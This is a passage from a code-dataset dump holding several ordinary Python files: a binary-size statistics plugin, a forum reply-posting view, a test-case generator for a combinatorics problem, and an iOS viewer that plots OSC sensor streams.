all_categories: list[CategoryStatistics] = []\n for category in self._get_all_categories():\n all_category_items = [\n row for row in self.row_data_with_category if row.category == category\n ]\n all_categories.append(\n CategoryStatistics(\n category=category,\n size=sum(row.data_row.size for row in all_category_items),\n symbol_amount=len(all_category_items),\n )\n )\n\n all_categories.sort(key=lambda x: x.size, reverse=True)\n return all_categories\n\n\ndef _show(final_output: str, file_to_save: str | Path | None = None) -> None:\n if file_to_save:\n print(f\"Saving statistics report to {file_to_save}\")\n with open(file_to_save, \"w\") as f:\n f.write(final_output)\n else:\n print(final_output)\n\n\ndef _get_printable_output(\n statistics_data: list[CategoryStatistics],\n include_none: bool = False,\n is_file: bool = False,\n) -> str:\n if not include_none:\n # Getting rid of the empty category\n statistics_data = [row for row in statistics_data if row.category is not None]\n summary = _get_data_summary(statistics_data)\n result_data = \"\\n\".join(row.format() for row in statistics_data)\n # Putting summary at the most visible place - top for file, bottom for terminal\n return f\"{summary}\\n{result_data}\" if is_file else f\"{result_data}\\n{summary}\"\n\n\ndef _get_data_summary(statistics_data: list[CategoryStatistics]) -> str:\n category_amount = len(statistics_data)\n overall_size = sum(row.size for row in statistics_data)\n symbol_count = sum(row.symbol_amount for row in statistics_data)\n return f\"SUMMARY: {category_amount:_} categories, {symbol_count:_} symbols, {overall_size:_} bytes in total.\"\n", "repo_name": "trezor/binsize", "sub_path": "src/binsize/plugins/statistics.py", "file_name": "statistics.py", "file_ext": "py", "file_size_in_byte": 4503, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "54", "api": [{"api_name": "typing.TYPE_CHECKING", "line_number": 12, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 16, "usage_type": "name"}, {"api_name": "lib.api.DataRow", "line_number": 29, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 26, "usage_type": "name"}, {"api_name": "lib.api.BinarySizeAPI", "line_number": 38, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 39, "usage_type": "name"}, {"api_name": "lib.api.DataRow", "line_number": 39, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 51, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 61, "usage_type": "name"}, {"api_name": "inspect.getsource", "line_number": 73, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 104, "usage_type": "name"}]} +{"seq_id": "5677934973", "text": "from datetime import timedelta\nfrom django.utils import timezone\nfrom django.utils.translation import ugettext as _\nfrom misago.conf import settings\nfrom misago.markdown import post_markdown\nfrom misago.models import Post\nfrom misago.monitor import monitor, UpdatingMonitor\nfrom misago.utils.datesformats import date\nfrom misago.utils.translation import ugettext_lazy\nfrom misago.apps.threadtype.posting.base import PostingBaseView\nfrom misago.apps.threadtype.posting.forms import NewReplyForm\n\nclass NewReplyBaseView(PostingBaseView):\n action = 'new_reply'\n allow_quick_reply = True\n form_type = NewReplyForm\n\n def set_context(self):\n self.set_thread_context()\n self.request.acl.threads.allow_reply(self.proxy, self.thread)\n if self.kwargs.get('quote'):\n self.quote = Post.objects.get(id=self.kwargs.get('quote'))\n self.request.acl.threads.allow_post_view(self.request.user, self.thread, self.quote)\n\n def form_initial_data(self):\n if self.quote:\n return {'post': self.quote.quote()}\n return {}\n\n def post_form(self, form):\n now = timezone.now()\n\n if self.force_moderation():\n moderation = True\n else:\n moderation = (not self.request.acl.threads.acl[self.forum.pk]['can_approve']\n and self.request.acl.threads.acl[self.forum.pk]['can_start_threads'] == 1)\n\n self.thread.previous_last = self.thread.last_post\n self.md, post_preparsed = post_markdown(form.cleaned_data['post'])\n\n # Count merge diff and see if we are merging\n merge_diff = (now - self.thread.last)\n merge_diff = (merge_diff.days * 86400) + merge_diff.seconds\n if (settings.post_merge_time\n and merge_diff < (settings.post_merge_time * 60)\n and self.thread.last_poster_id == self.request.user.id\n and self.thread.last_post.moderated == moderation\n and (not self.thread.last_post.deleted or self.thread.last_post_id == self.thread.start_post_id)):\n merged = True\n self.post = self.thread.last_post\n self.post.date = now\n self.post.post = '%s\\n\\n%s' % (self.post.post, form.cleaned_data['post'])\n self.md, self.post.post_preparsed = post_markdown(self.post.post)\n self.post.save(force_update=True)\n else:\n # Create new post\n merged = False\n self.post = Post.objects.create(\n forum=self.forum,\n thread=self.thread,\n user=self.request.user,\n user_name=self.request.user.username,\n ip=self.request.session.get_ip(self.request),\n agent=self.request.META.get('HTTP_USER_AGENT'),\n post=form.cleaned_data['post'],\n post_preparsed=post_preparsed,\n date=now,\n moderated=moderation,\n )\n\n # Update thread data and score?\n if not moderation:\n self.thread.new_last_post(self.post)\n\n if not merged:\n if not moderation:\n self.thread.replies += 1\n else:\n self.thread.replies_moderated += 1\n\n # Increase thread score\n if self.thread.last_poster_id != self.request.user.pk:\n self.thread.score += settings.thread_ranking_reply_score\n\n # Update forum and monitor\n if not moderation and not merged:\n with UpdatingMonitor() as cm:\n monitor.increase('posts')\n self.forum.posts += 1\n self.forum.new_last_thread(self.thread)\n self.forum.save(force_update=True)\n\n # Reward user for posting new reply?\n if not moderation and not merged and (not self.request.user.last_post\n or self.request.user.last_post < timezone.now() - timedelta(seconds=settings.score_reward_new_post_cooldown)):\n self.request.user.score += settings.score_reward_new_post\n\n # Update user\n if not moderation and not merged:\n self.request.user.posts += 1\n self.request.user.last_post = now\n self.request.user.save(force_update=True)\n\n # Set thread weight\n if 'thread_weight' in form.cleaned_data:\n self.thread.weight = form.cleaned_data['thread_weight']\n\n # Set \"closed\" checkpoint, either due to thread limit or posters wish\n if (settings.thread_length > 0\n and not merged and not moderation and not self.thread.closed\n and self.thread.replies >= settings.thread_length):\n self.thread.closed = True\n self.thread.set_checkpoint(self.request, 'limit')\n elif 'close_thread' in form.cleaned_data and form.cleaned_data['close_thread']:\n self.thread.closed = not self.thread.closed\n if self.thread.closed:\n self.thread.set_checkpoint(self.request, 'closed')\n else:\n self.thread.set_checkpoint(self.request, 'opened')\n\n # Save updated thread\n self.thread.save(force_update=True)\n\n # Mute quoted user?\n if not (self.quote and self.quote.user_id and not merged\n and self.quote.user_id != self.request.user.pk\n and not self.quote.user.is_ignoring(self.request.user)):\n self.quote = None\n\n # E-mail users about new response\n def email_watchers(self, notified_users):\n emailed = self.thread.email_watchers(self.request, self.type_prefix, self.post)\n for user in emailed:\n if not user in notified_users:\n if user.pk == self.thread.start_poster_id:\n alert = user.alert(ugettext_lazy(\"%(username)s has replied to your thread %(thread)s\").message)\n else:\n alert = user.alert(ugettext_lazy(\"%(username)s has replied to thread %(thread)s that you are watching\").message)\n alert.profile('username', self.request.user)\n alert.post('thread', self.type_prefix, self.thread, self.post)\n alert.save_all()\n\n def watch_thread(self):\n if self.request.user.subscribe_reply:\n self.start_watching_thread(\n self.request.user.subscribe_reply == 2)", "repo_name": "Maronato/aosalunos", "sub_path": "misago/apps/threadtype/posting/newreply.py", "file_name": "newreply.py", "file_ext": "py", "file_size_in_byte": 6635, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "54", "api": [{"api_name": "misago.apps.threadtype.posting.base.PostingBaseView", "line_number": 13, "usage_type": "name"}, {"api_name": "misago.apps.threadtype.posting.forms.NewReplyForm", "line_number": 16, "usage_type": "name"}, {"api_name": "misago.models.Post.objects.get", "line_number": 22, "usage_type": "call"}, {"api_name": "misago.models.Post.objects", "line_number": 22, "usage_type": "attribute"}, {"api_name": "misago.models.Post", "line_number": 22, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 31, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 31, "usage_type": "name"}, {"api_name": "misago.markdown.post_markdown", "line_number": 40, "usage_type": "call"}, {"api_name": "misago.conf.settings.post_merge_time", "line_number": 45, "usage_type": "attribute"}, {"api_name": "misago.conf.settings", "line_number": 45, "usage_type": "name"}, {"api_name": "misago.conf.settings.post_merge_time", "line_number": 46, "usage_type": "attribute"}, {"api_name": "misago.conf.settings", "line_number": 46, "usage_type": "name"}, {"api_name": "misago.markdown.post_markdown", "line_number": 54, "usage_type": "call"}, {"api_name": "misago.models.Post.objects.create", "line_number": 59, "usage_type": "call"}, {"api_name": "misago.models.Post.objects", "line_number": 59, "usage_type": "attribute"}, {"api_name": "misago.models.Post", "line_number": 59, "usage_type": "name"}, {"api_name": "misago.conf.settings.thread_ranking_reply_score", "line_number": 84, "usage_type": "attribute"}, {"api_name": "misago.conf.settings", "line_number": 84, "usage_type": "name"}, {"api_name": "misago.monitor.UpdatingMonitor", "line_number": 88, "usage_type": "call"}, {"api_name": "misago.monitor.monitor.increase", "line_number": 89, "usage_type": "call"}, {"api_name": "misago.monitor.monitor", "line_number": 89, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 96, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 96, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 96, "usage_type": "call"}, {"api_name": "misago.conf.settings.score_reward_new_post_cooldown", "line_number": 96, "usage_type": "attribute"}, {"api_name": "misago.conf.settings", "line_number": 96, "usage_type": "name"}, {"api_name": "misago.conf.settings.score_reward_new_post", "line_number": 97, "usage_type": "attribute"}, {"api_name": "misago.conf.settings", "line_number": 97, "usage_type": "name"}, {"api_name": "misago.conf.settings.thread_length", "line_number": 110, "usage_type": "attribute"}, {"api_name": "misago.conf.settings", "line_number": 110, "usage_type": "name"}, {"api_name": "misago.conf.settings.thread_length", "line_number": 112, "usage_type": "attribute"}, {"api_name": "misago.conf.settings", "line_number": 112, "usage_type": "name"}, {"api_name": "misago.utils.translation.ugettext_lazy", "line_number": 137, "usage_type": "call"}, {"api_name": "misago.utils.translation.ugettext_lazy", "line_number": 139, "usage_type": "call"}]} +{"seq_id": "72510988000", "text": "from collections import defaultdict\nfrom math import gcd\nfrom random import choice, choices, randint\nfrom typing import List, Tuple\n\nfrom numba import njit\nfrom sklearn.preprocessing import quantile_transform\n\nfrom max_divisors import numbers_with_max_n_divisors\n\n\n@njit\ndef is_prime(num: int) -> bool:\n for i in range(2, num + 1):\n if i * i > num:\n break\n if num % i == 0:\n return False\n return True\n\n\n@njit\ndef prev_prime(n: int) -> int:\n while not is_prime(n):\n n -= 1\n return n\n\n\n@njit\ndef next_prime(n: int) -> int:\n n += 1\n while not is_prime(n):\n n += 1\n return n\n\n\nTestCase = Tuple[int, int]\nMOD = 10**9 + 7\n\n\nclass Generator:\n def __init__(self, N: int) -> None:\n self.N = N\n\n def random(self) -> TestCase:\n n = randint(3, self.N)\n ans = self.solve(n)\n return n, ans\n\n def n_max(self) -> TestCase:\n n = self.N\n ans = self.solve(n)\n return n, ans\n\n def n_max_prime(self) -> TestCase:\n n = prev_prime(self.N)\n ans = self.solve(n)\n return n, ans\n\n def max_number_of_divisors(self) -> TestCase:\n ns = sorted(numbers_with_max_n_divisors(self.N))\n n = choice(ns)\n ans = self.solve(n)\n return n, ans\n\n def n_square(self) -> TestCase:\n n = choice(sorted(map(lambda x: x**2, numbers_with_max_n_divisors(int(self.N**0.5)))))\n ans = self.solve(n)\n return n, ans\n\n def max_twos_power(self) -> TestCase:\n n = 1\n while n * 2 <= self.N:\n n *= 2\n ans = self.solve(n)\n return n, ans\n\n def max_number_of_distinct_primes(self) -> TestCase:\n n = 1\n prime = 2\n while n * prime <= self.N:\n n *= prime\n prime = next_prime(prime)\n ans = self.solve(n)\n return n, ans\n\n def generate_all(self) -> List[TestCase]:\n all: list[TestCase] = []\n all.append(self.random())\n print(\"random done\")\n all.append(self.n_max())\n print(\"n_max done\")\n all.append(self.n_max_prime())\n print(\"n_max_prime done\")\n all.append(self.max_number_of_divisors())\n print(\"max_number_of_divisors done\")\n all.append(self.n_square())\n print(\"n_square done\")\n all.append(self.max_twos_power())\n print(\"max_twos_power done\")\n all.append(self.max_number_of_distinct_primes())\n print(\"max_number_of_distinct_primes done\")\n return all\n\n def solve(self, n: int) -> int:\n return (pow(2, n, MOD) - 1 - n - n * (n - 1) // 2) % MOD\n\n def validate(self, n: int) -> None:\n assert 3 <= n <= self.N\n", "repo_name": "brkdnmz/inzvaland", "sub_path": "Do The Math/#8/yilmaz-dislikes-ersoys-table/funcs.py", "file_name": "funcs.py", "file_ext": "py", "file_size_in_byte": 2682, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "54", "api": [{"api_name": "numba.njit", "line_number": 12, "usage_type": "name"}, {"api_name": "numba.njit", "line_number": 22, "usage_type": "name"}, {"api_name": "numba.njit", "line_number": 29, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 37, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 46, "usage_type": "call"}, {"api_name": "max_divisors.numbers_with_max_n_divisors", "line_number": 61, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 62, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 67, "usage_type": "call"}, {"api_name": "max_divisors.numbers_with_max_n_divisors", "line_number": 67, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 87, "usage_type": "name"}]} +{"seq_id": "26410060873", "text": "from scene import *\nfrom random import randint\nfrom threading import Thread, Lock\nfrom collections import deque\n\nfrom pythonosc import dispatcher, osc_server\n\n\nimport ui\nimport time, socket\nimport random, math, itertools\n\nPACKET_SAMPLE_SIZE = 200\nDEVICE_IDS = ('e4f7','cec8','6b37','3fa5')\n\nclass Series(ShapeNode):\n\tdef __init__(self, name, bsize, line_color, color, *args, **kwargs):\n\t\tself.bsize = bsize\n\t\tborder = ui.Path.rect(0,0, self.bsize.w, self.bsize.h)\n\t\tShapeNode.__init__(self, border, *args, **kwargs)\n\n\t\tself.lines = deque()\n\t\tself.buffer = [0]\n\t\tself.line_color = line_color\n\t\tself.color = color\n\t\tself.bufferLength = 201\n\n\t\t# label channel\n\t\tself.label = LabelNode(name, position=(self.bsize.w - 2 , self.bsize.h), \n\t\t\tfont = ('Helvetica', 12), color = 'black', parent = self, anchor_point = (1,1))\n\t\t\n\t\t# grid \n\t\tself.grids = [\n\t\tShapeNode(ui.Path.rect(0, 0, self.bsize.w, self.bsize.h/2), \t\t\n\t\t\t\tstroke_color = 'black', fill_color='clear',\n\t\t\t\tparent = self, anchor_point = (0,0)),\n\t\tShapeNode(ui.Path.rect(0, 0, self.bsize.w, \tself.bsize.h/2), \n\t\t\tstroke_color = 'black', fill_color='clear',\n\t\t\tposition=(0, self.bsize.h/2),\n\t\t\t\tparent = self, anchor_point = (0,0))\n\t\t\t\t]\n\t\n\tdef trim(self, y):\n\t\tif y <= -self.bsize.h / 2 + 2:\n\t\t\treturn -self.bsize.h / 2 + 2\n\t\tif y >= self.bsize.h / 2 :\n\t\t\treturn self.bsize.h / 2\n\t\treturn y\n\t\t\n\tdef update(self):\t\t\t\n\t\twhile len(self.buffer) > self.bufferLength:\n\t\t\tdata = self.buffer[:self.bufferLength]\n\t\t\tdel self.buffer[:self.bufferLength - 1]\n\t\t\t\n\t\t\tif len(self.lines) == 0:\n\t\t\t\tlast_line_x_end = self.bsize.w + self.bufferLength * self.scene.timeScale\n\t\t\telse:\n\t\t\t\tlast_line_x_end = self.lines[-1].position.x + self.bufferLength * self.scene.timeScale\t\n\t\t\t\t# drop the oldest line & update valScale\n\t\t\t\tif self.lines[0].position.x < 0:\n\t\t\t\t\tfirst_line = self.lines.popleft()\n\t\t\t\t\tfirst_line.remove_from_parent()\n\t\t\t\n\n\t\t\t### append a new line\n\t\t\tpath = ui.Path()\n\t\t\t\n\t\t\t# draw upper bound\n\t\t\tpath.move_to(0, -self.bsize.h / 2 - 4)\n\t\t\tpath.line_to(self.bufferLength * self.scene.timeScale, -self.bsize.h / 2 - 4)\n\t\t\t\n\t\t\t# draw waveform\n\t\t\tif data[0]:\n\t\t\t\ty0 = self.trim(data[0] * self.scene.valueScale * self.bsize.h)\n\t\t\t\tpath.move_to(0, y0)\t\t\t\n\t\t\t\tisLastNone = False\t\n\t\t\telse:\n\t\t\t\tisLastNone = True\n\n\t\t\tfor x,y in enumerate(data):\n\t\t\t\tif y:\n\t\t\t\t\ty = self.trim(y * self.scene.valueScale * self.bsize.h)\n\t\t\t\t\tif isLastNone:\n\t\t\t\t\t\tpath.move_to(x * self.scene.timeScale, y)\t\t\n\t\t\t\t\telse:\n\t\t\t\t\t\tpath.line_to(x * self.scene.timeScale, y)\n\t\t\t\t\tisLastNone = False\n\t\t\t\telse:\n\t\t\t\t\tisLastNone = True\n\n\t\t\tpath.line_width = 1\n\t\t\tnew_line = ShapeNode(path, \n\t\t\t\tparent=self,\n\t\t\t\tstroke_color= self.line_color,\n\t\t\t\tfill_color='clear', \n\t\t\t\tposition=(last_line_x_end - 1 * self.scene.timeScale, self.bsize.h + 6),\n\t\t\t\tanchor_point=(1,1)\n\t\t\t)\n\t\t\t\t\n\t\t\tself.lines.append(new_line)\n\t\t\t\n\t\tif len(self.lines) > 0:\n\t\t\treturn(self.bsize.w - self.lines[-1].position.x) \n\t\telse:\n\t\t\treturn(0)\n\t\t\t\nclass Viewer(Scene):\n\tdef __init__(self, device_ids, nChannel, server, lock, *args, **kwargs):\n\t\tScene.__init__(self, *args, **kwargs)\n\t\tself.server = server\n\t\tself.device_ids = device_ids\n\t\tself.nChannel = nChannel\n\t\tself.lock = lock\n\n\t\tself.sampleCounters = dict(zip(device_ids, [0]*len(device_ids)))\n\t\tself.prevSampleIndex = dict(zip(device_ids, [0]*len(device_ids)))\n\t\tself.devices = dict(zip(device_ids, [None]*len(device_ids)))\n\t\tself.masks = dict(zip(device_ids, [None]*len(device_ids)))\n\t\tself.deviceLabels = dict(zip(device_ids, [None]*len(device_ids)))\n\t\tself.deviceStatusLabels = dict(zip(device_ids, [None]*len(device_ids)))\n\n\t\tself.prevTouch = None\n\t\tself.isRunning = True\n\t\tself.prevSampleSecond = self.t\n\t\tself.timeScale = .5\n\t\tself.valueScale = -300\n\t\tself.runningSamples = dict(zip(device_ids, [deque([],10) for i in device_ids])) \n\t\t\n\tdef touch_began(self, touch):\n\t\tself.isRunning = False\n\t\n\tdef touch_ended(self, touch):\n\t\tself.isRunning = True\n\t\n\tdef did_change_size(self):\n\t\tscreen_size = get_screen_size()\n\t\t\n\t\tfor i, id in enumerate(self.devices):\n\t\t\tif screen_size.w > screen_size.h:\n\t\t\t\tmask_size = Size(screen_size.w / len(self.devices) + 1, screen_size.h)\n\t\t\t\tmask_position = Point(i * screen_size.w / len(self.devices), 0)\n\t\t\t\tself.deviceLabels[id].position = (mask_position.x + 4, mask_size.h - 1)\n\t\t\t\tself.deviceStatusLabels[id].position = (mask_position.x + 2, 2)\n\t\t\telse:\n\t\t\t\tmask_size = Size(screen_size.w , screen_size.h / len(self.devices) + 1)\n\t\t\t\tmask_position = Point(0, i * screen_size.h / len(self.devices))\n\t\t\t\tself.deviceLabels[id].position = (mask_position.x + 4, (i+1)*mask_size.h - 1)\t\t\t\t\t\n\t\t\t\tself.deviceStatusLabels[id].position =(mask_position.x + 2, i*mask_size.h + 2)\n\t\t\t\n\t\t\t# update mask\n\t\t\tself.masks[id].size = mask_size\n\t\t\tself.masks[id].crop_rect = Rect(mask_position.x, mask_position.y,\t\n\t\t\t\tmask_size.w+1, mask_size.h)\n\t\t\t\n\t\t\t# update series\n\t\t\tfor j, series in enumerate(self.devices[id]) :\n\t\t\t\tif screen_size.w > screen_size.h:\n\t\t\t\t\tseries_size = Size(screen_size.w / len(self.devices) - 1, \n\t\t\t\t\t\tscreen_size.h / self.nChannel - 1)\n\t\t\t\t\tseries_pos = Point(i * screen_size.w / len(self.devices), \n\t\t\t\t\t\tj * screen_size.h / self.nChannel)\n\t\t\t\telse:\n\t\t\t\t\tseries_size = Size(screen_size.w , \n\t\t\t\t\t\tscreen_size.h / ( self.nChannel * len(self.devices)) - 1)\n\t\t\t\t\tseries_pos = Point(0, \n\t\t\t\t\t\ti * screen_size.h / len(self.devices) + j * screen_size.h / (self.nChannel * len(self.devices))\n\t\t\t\t\t\t)\t\t\t\n\t\t\t\tseries.bsize = series_size\n\t\t\t\tseries.maxLines = series.bsize.w / series.bufferLength / series.scene.timeScale \n\t\t\t\tseries.position = series_pos\t\n\t\t\t\tseries.path = ui.Path.rect(0,0, series_size.w, series_size.h)\n\t\t\t\tseries.grids[0].path = ui.Path.rect(0, 0, series_size.w, \tseries_size.h/2)\n\t\t\t\tseries.grids[1].path = ui.Path.rect(0, 0, series_size.w, \tseries_size.h/2)\n\t\t\t\tseries.grids[1].position = (0, series_size.h/2)\n\t\t\t\tseries.label.position = (series.bsize.w - 2 , series.bsize.h)\n\t\t\t\t\n\t\t\t\tfor line in series.lines:\n\t\t\t\t\tline.remove_from_parent()\n\t\t\t\t\n\t\t\t\tseries.lines.clear()\n\t\t\t\n\tdef setup(self):\t\t\n\t\tfill_colors = ('grey','darkgray','grey','darkgray')\n\t\tline_colors = ('lightgreen','lightblue','lightpink','lightyellow')\n\t\tcolors = ('darkgreen', 'darkblue', 'darkred', 'darkorange')\n\t\t\t\t\n\t\tscreen_size = get_screen_size()\n\n\t\tfor i, id in enumerate(self.device_ids):\n\n\t\t\t# Mask Node (Device Window)\t\t\t\n\t\t\tmask = EffectNode(parent = self)\n\t\t\tlabel = LabelNode('Device {}'.format(id), \n\t\t\t\tfont = ('Helvetica', 12), color = 'black',\n\t\t\t\tanchor_point=(0,1), z_position = 2, parent= mask\n\t\t\t\t)\n\t\t\tstatus_label = LabelNode('', font = ('Helvetica', 12), \n\t\t\t\t\tanchor_point=(0,0), z_position = 2, parent=mask\n\t\t\t\t)\n\t\t\tif screen_size.w > screen_size.h:\n\t\t\t\tmask_size = Size(screen_size.w / len(self.devices) + 1, screen_size.h)\n\t\t\t\tmask_position = Point(i * screen_size.w / len(self.devices) , 0)\n\t\t\t\tlabel.position= (mask_position.x + 4, mask_size.h - 1)\t\t\t\t\t\n\t\t\t\tstatus_label.position=(mask_position.x + 2, 2)\n\t\t\telse:\n\t\t\t\tmask_size = Size(screen_size.w , screen_size.h / len(self.devices) + 1)\n\t\t\t\tmask_position = Point(0, i * screen_size.h / len(self.devices) )\n\t\t\t\tlabel.position= (mask_position.x + 4, (i+1)*mask_size.h - 1)\t\t\t\t\t\n\t\t\t\tstatus_label.position=(mask_position.x + 2, i*mask_size.h + 2)\n\t\t\t\t\n\t\t\tmask.crop_rect = Rect(mask_position.x, mask_position.y,\t\n\t\t\t\tmask_size.w+1, mask_size.h)\t\t\t\t\t\t\n\t\t\t\t\n\t\t\tself.masks[id] = mask\t\t\t\n\t\t\tself.deviceLabels[id] = label\n\t\t\tself.devices[id] = list()\n\t\t\tself.deviceStatusLabels[id] = status_label\n\t\t\t\n\t\t\tfor j in range(self.nChannel):\n\t\t\t\tif screen_size.w > screen_size.h:\n\t\t\t\t\tseries_size = Size(screen_size.w / len(self.devices) - 1, \n\t\t\t\t\t\tscreen_size.h / self.nChannel - 1)\n\t\t\t\t\tseries_pos = Point(i * screen_size.w / len(self.devices) , \n\t\t\t\t\t\tj * screen_size.h / self.nChannel)\n\t\t\t\telse:\n\t\t\t\t\tseries_size = Size(screen_size.w , \n\t\t\t\t\t\tscreen_size.h / ( self.nChannel * len(self.devices) ) - 1)\n\t\t\t\t\tseries_pos = Point(0, i * screen_size.h / len(self.devices) + \n\t\t\t\t\t\tj * screen_size.h / (self.nChannel * len(self.devices) ))\t\t\t\n\t\t\t\t\n\t\t\t\tseries = Series(\n\t\t\t\t\tname = 'Channel {}'.format(j+1),\n\t\t\t\t\tbsize=series_size,\n\t\t\t\t\tposition=series_pos,\n\t\t\t\t\tanchor_point=(0,0),\n\t\t\t\t\tline_color = 'white', #line_colors[j],\n\t\t\t\t\tcolor = 'white', #colors[j], \n\t\t\t\t\tstroke_color = 'clear', \n\t\t\t\t\tfill_color = fill_colors[i],\n\t\t\t\t\tz_position=0,\n\t\t\t\t\tparent=mask)\n\n\t\t\t\tself.devices[id].append(series)\n\n\tdef update(self):\n\t\t\tduration = self.t - self.prevSampleSecond\n\t\t\tif duration >= 1:\n\t\t\t\tfor i, id in enumerate(self.devices):\t\t\t\t\t\n\t\t\t\t\tself.lock.acquire()\t\t\t\t\t\n\t\t\t\t\tsampleCount = self.sampleCounters[id]\n\t\t\t\t\tfor series in self.devices[id]:\n\t\t\t\t\t\tdeltaX = series.update()\n\t\t\t\t\t\tmove_by = Action.move_by(deltaX, 0, duration)\t\t\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\tfor line in series.lines:\t\t\t\t\n\t\t\t\t\t\t\tline.run_action(move_by)\n\t\t\t\t\tself.lock.release()\n\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\tself.runningSamples[id].append(sampleCount)\t\t\t\t\t\n\t\t\t\t\taverageSampleRate = sum(self.runningSamples[id])/len(self.runningSamples[id])\n\t\t\t\t\n\t\t\t\t\tself.deviceStatusLabels[id].text = '{:.0f}Hz {:.0f}Hz(10s)'.format(sampleCount, averageSampleRate)\n\n\t\t\t\t\tself.lock.acquire()\t\t\n\t\t\t\t\tself.sampleCounters[id] = 0\n\t\t\t\t\tself.lock.release()\n\n\t\n\t\t\t\tself.prevSampleSecond = self.t\n\t\t\t\n\t\t\t\n\tdef stop(self):\n\n\t\tself.server.shutdown()\n\t\tself.server.server_close()\n\t\tprint('server shuntdown.')\n\t\ndef raw_osc_handler(unused_addr, *args):\n\n\tglobal viewer\n\tglobal lock\n\t\n\tid = args[0][0] # device index\n\tmsg = args[1:]\t\n#\tprint(msg[0])\n\ttry:\n\t\tdevice = viewer.devices[id]\n\t\tassert len(msg) == 5, 'wrong message length: {}'.format(msg) \n\t\tdropCount = 0\n\t\tsampleIndex = msg[0]\n\t\tsample = msg[1:]\n\t\tif sampleIndex - viewer.prevSampleIndex[id] != 1:\n\t\t\tif sampleIndex != 0:\n\t\t\t\tif sampleIndex < viewer.prevSampleIndex[id]:\n\t\t\t\t\tdropCount = sampleIndex + 200 - viewer.prevSampleIndex[id]\n\t\t\t\telse:\n\t\t\t\t\tdropCount = sampleIndex - viewer.prevSampleIndex[id]\t\n\n\t\tviewer.prevSampleIndex[id] = sampleIndex\t\n\t\t\n\t\tlock.acquire()\n\t\tviewer.sampleCounters[id] += 1 + dropCount\n\n\t\tfor j, series in enumerate(device):\n\t\t\tseries.buffer.extend([None] * dropCount)\n\t\t\tseries.buffer.append(sample[j])\n\t\t\n\t\tlock.release()\n\t\t\t\t\n\n\texcept Exception as e:\n\t\tprint('error in parsing osc message: {!s}. {}'.format(e, msg))\n\ndef switched(sender):\n\tglobal used_device_ids\n\t\n\tif sender.value:\n\t\tused_device_ids.add(sender.device_id)\n\telse:\n\t\tused_device_ids.discard(sender.device_id)\n\t\ndef start_viewer(sender):\n\tglobal viewer\n\n\t### OSC Server ###\n\tlocal_address = socket.gethostbyname(socket.gethostname())\n\tdispatch = dispatcher.Dispatcher()\n\t\n\tfor i, id in enumerate(used_device_ids):\n\t\tdispatch.map('/{}'.format(id), raw_osc_handler, id)\n\n\tserver = osc_server.ThreadingOSCUDPServer((local_address, 5005), dispatch)\n\tserver.socket.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 512000)\n\tserver.socket.setsockopt(socket.SOL_SOCKET, socket.SO_RCVLOWAT, 1)\n\n\tviewer = Viewer(device_ids=used_device_ids, nChannel=4, server=server, lock=lock)\n\t\n\t### START SERVER ###\t\n\tserver_thread = Thread(target=server.serve_forever)\n\tserver_thread.setDaemon(True)\n\tserver_thread.start()\n\tprint('serving at {}:{}'.format(local_address, 5005))\n\n\t\t\n\tsceneView = SceneView()\n\tsceneView.scene = viewer\n\tsceneView.flex = 'LRHWT' \n\tsceneView.present('full_screen')\n\t\t\t\nif __name__ == '__main__':\n\tused_device_ids = set(('e4f7','cec8'))\n\tlock = Lock()\n\n\t### UI Viewer ###\n\tv = ui.load_view('stream_viewer.pyui')\n\tv.present(style='full_screen')\t\n\t### Visualization Starts ####\n\t#run(viewer, show_fps = True, frame_interval = 1, anti_alias = True)\n\t\n", "repo_name": "wliao229/ios_stream_viewer", "sub_path": "ios_stream_viewer.py", "file_name": "ios_stream_viewer.py", "file_ext": "py", "file_size_in_byte": 11452, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "54", "api": [{"api_name": "ui.Path.rect", "line_number": 19, "usage_type": "call"}, {"api_name": "ui.Path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "collections.deque", "line_number": 22, "usage_type": "call"}, {"api_name": "ui.Path.rect", "line_number": 34, "usage_type": "call"}, {"api_name": "ui.Path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "ui.Path.rect", "line_number": 37, "usage_type": "call"}, {"api_name": "ui.Path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "ui.Path", "line_number": 66, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 127, "usage_type": "call"}, {"api_name": "ui.Path.rect", "line_number": 171, "usage_type": "call"}, {"api_name": "ui.Path", "line_number": 171, "usage_type": "attribute"}, {"api_name": "ui.Path.rect", "line_number": 172, "usage_type": "call"}, {"api_name": "ui.Path", "line_number": 172, "usage_type": "attribute"}, {"api_name": "ui.Path.rect", "line_number": 173, "usage_type": "call"}, {"api_name": "ui.Path", "line_number": 173, "usage_type": "attribute"}, {"api_name": "socket.gethostbyname", "line_number": 327, "usage_type": "call"}, {"api_name": "socket.gethostname", "line_number": 327, "usage_type": "call"}, {"api_name": "pythonosc.dispatcher.Dispatcher", "line_number": 328, "usage_type": "call"}, {"api_name": "pythonosc.dispatcher", "line_number": 328, "usage_type": "name"}, {"api_name": "pythonosc.osc_server.ThreadingOSCUDPServer", "line_number": 333, "usage_type": "call"}, {"api_name": "pythonosc.osc_server", "line_number": 333, 